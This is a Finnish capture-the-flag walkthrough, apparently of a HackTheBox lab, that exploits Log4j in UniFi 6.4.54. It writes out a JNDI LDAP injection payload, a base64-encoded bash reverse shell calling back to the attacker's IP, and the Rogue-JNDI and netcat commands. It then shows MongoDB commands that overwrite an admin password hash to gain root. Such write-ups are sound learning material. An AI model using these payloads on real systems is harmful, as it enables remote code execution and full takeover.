Huom. kohteen ja oma tun0 IP-osoitteet vaihtuvat tehtävässä, koska harjoitusta tehty eri kerroilla.
User flag
Kohteen Nmap-skannaus paljastaa, että kohteessa on auki portit 22 (SSH), 6789, 8080 ja 8443. Portissa 8080 auki oleva HTTP-proxy ohjautuu porttiin 8443, jossa on käynnissä SSL web-palvelin. Portin 8443 HTTP-title on UniFi Network.
Selaimessa aukaistu kohteen IP-osoite portissa 8443: https://{target_ip}:8443/
Aukesi UniFi-kirjautumissivu. UniFin versio 6.4.54. Haettaessa Googlesta hakusanoilla UniFy 6.4.54 exploit, tulee hakutuloksia Log4j-haavoittuvuudesta. Käytetään apuna artikkelia Log4j-haavoittuvuuden hyödyntämiseen UniFi versiossa 6.4.54.
UniFi-kirjautumissivulla kirjoitettu käyttäjätunnukseksi sekä salasanaksi “user” ja rasti kohtaan “remember me”. Burb Suite sieppasi login requestin. Paketti lähetetty Burb Suiten Repeater-välilehdelle painamalla näppäimistöstä ctrl+r.
UniFi versiossa haavoittuvuus on “remember me” -kentässä. Syötetty payload: “${jndi:ldap://{your_tun0_ip}/something}” remember-kenttään ja painettu “Send”. Payloadissa “something” tilalle voi kirjoittaa mitä tahansa.
Payloadin lähettämisen jälkeen Burp Suiten Response-välilehdellä saatiin viesti: “msg”:”api.err.InvalidPayload”, eli että payload on virheellinen.
Aukaistu Wireshark tun0-liittymässä ja TCP-portissa 389 (389 on portti, jossa LDAP toimii). Lähetetty payloadi uudelleen Burb Suitessa. Wiresharkista havaitaan, että kohteesta (10.129.227.106) saatiin yhteys omaan koneeseeni (10.10.14.206). Tämä vahvistaa, että kohde on haavoittuva Log4j:lle.
Asennetaan Open-JDK 11 ja Maven, jotta voidaan tehdä ja lähettää payloadi, jotta pystytään suorittamaan komentoja kohteessa.
Ladataan Rogue-JNDI Java-sovellus komennolla: git clone https://github.com/veracode-research/rogue-jndi
Luodaan paketti Mavenin avulla rogue-jndi kansiossa komennolla: mvn package.
Rogue-jndi -hakemistoon muodostui target -hakemisto, joka sisältää RogueJndi-1.1.jar -tiedoston.
Muodostettu reverse-shell-payloadi ja muunnettu Base64 muotoon komennolla:
echo “bash -c bash -i >&/dev/tcp/{Your TUN0 IP Address}/{A port of your choice} 0>&1” | base64
Muodostui Base64 merkkijono: YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTUuMTg4LzkwMDEgMD4mMQo=
Komennolla: java -jar RogueJndi-1.1.jar –command “bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTUuMTg4LzkwMDEgMD4mMQo=}|{base64,-d}|{bash,-i}” –hostname “{YOUR TUN0 IP ADDRESS}” saatu ldap-palvelin kuuntelemaan portissa 1389. Syötteestä kopioitu: ldap://10.10.15.188:1389/o=tomcat
Huom. reverse-shellin muodostaminen ei välttämättä onnistu, jos komennossa on välilyönnit ennen ja jälkeen putkia.
Käynnistetty Netcat-kuuntelija portissa 9001 (portti, joka valittiin reverse-shell-payloadiin) komennolla: sudo nc -lvnp 9001
Aiemmin Burp Suitessa kaapattuun POST-requestiin muokattu payloadiksi: ${jndi:ldap://{Your Tun0 IP}:1389/o=tomcat} ja lähetetty requesti. Saatiin vastaus ldap-palvelimen kuuntelijaan: Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload.
Payloadin lähettämisen jälkeen Netcat-kuuntelija sai onnistuneesti yhteyden kohteeseen (10.129.40.64). Vakaa reverse-shell saatu komennolla: script /dev/null -c bash
User flag löytyi kohteen /home/Michael/ hakemistosta.
Root flag
Komennolla ps aux | grep mongo tarkistetaan onko kohteessa MongoDB käynnissä. Syötteestä huomataan, että MongoDB on käynnissä portissa 27117.
Komennolla: mongo –port 27117 ace –eval “db.admin.find().forEach(printjson);” otettu yhteys MongoDB tietokantaan. Objektilla db.admin.find() listataan MongoDB tietokannan admin-käyttäjät. UniFin oletustietokanta on “ace”. Syöte tulostuu JSON-muodossa. Lisäoptio –eval mahdollistaa koodin suorittamisen.
Syötteeseen tuli näkyviin tietokannan kaikki admin-käyttäjät. Syötteestä huomataan käyttäjä administrator. Käyttäjän salasanatiiviste löytyy muuttujasta x_shadow. Salasanatiivisten alussa $6 -merkki on tunniste salasanan tiivistealgoritmille, joka tässä tapauksessa on SHA-512. SHA-512 algoritmin salasanat ovat erittäin vaikeita murtaa.
Salasanan murtamisen sijaan, korvataan käyttäjän administrator salasanatiiviste luomalla oma SHA-512 salasanatiiviste salasanalle, joka tiedetään. Komento: mkpasswd -m sha-512 Salasana1!
Luotu SHA-512 -salasanatiiviste: $6$dhQFIhpoj5j4VhTc$mLgQoNgnAhVl/.WDJatwGheLjV/QmZqsG2kzM2MYXaLbNr85hiwjZEyOu5K9ETdMKeTJjwxQoMLBrRFdTQ1c6.
Käytetty salanasa: Salasana1! täyttää perusluontoiset salasanavaatimukset (10 merkkiä, iso- ja pieni kirjain, numero ja erikoismerkki).
Komennolla: mongo –port 27117 ace –eval ‘db.admin.update({“_id”: ObjectId(“61ce278f46e0fb0012d47ee4”)},{$set:{“x_shadow”:”$6$dhQFIhpoj5j4VhTc$mLgQoNgnAhVl/.WDJatwGheLjV/QmZqsG2kzM2MYXaLbNr85hiwjZEyOu5K9ETdMKeTJjwxQoMLBrRFdTQ1c6.”}})’ korvattu käyttäjän administrator salasanatiiviste. Komennossa ObjectId(“61ce278f46e0fb0012d47ee4”) käyttäjän administrator id, joka näkyy ylempänä kuvassa.
Huom. komennossa ennen db.admin ja komennon lopussa pitää olla yksittäiset heittomerkit: ‘, komento ei toimi lainausmerkeillä: “.
Tarkistetaan aiemmin suoritetulla komennolla mongo –port 27117 ace –eval “db.admin.find().forEach(printjson);” että salasanatiiviste on vaihtunut, ja huomataan, että käyttäjä administator salasanatiiviste vastaa nyt omaa luotua SHA-512 salasanatiivistettä.
UniFi-kirjautumissivulle kirjauduttu administrator käyttäjänä salasanalla Salasana1! Onnistuneesti saatu pääsy UniFi sovellukseen.
Menty sivulla settings -> site, ja huomataan kohdan “Device authentication” alla on SSH-authentikaatio päällä käyttäjänä root. Käyttäjän root salasana NotACrackablePassword4U2022 on nähtävissä selkokielisenä.
Otettu SSH-yhteys kohteeseen käyttäjänä root ja UniFi-sivulta löydeltä salasanalta. Root-flag löyty hakemistosta /root.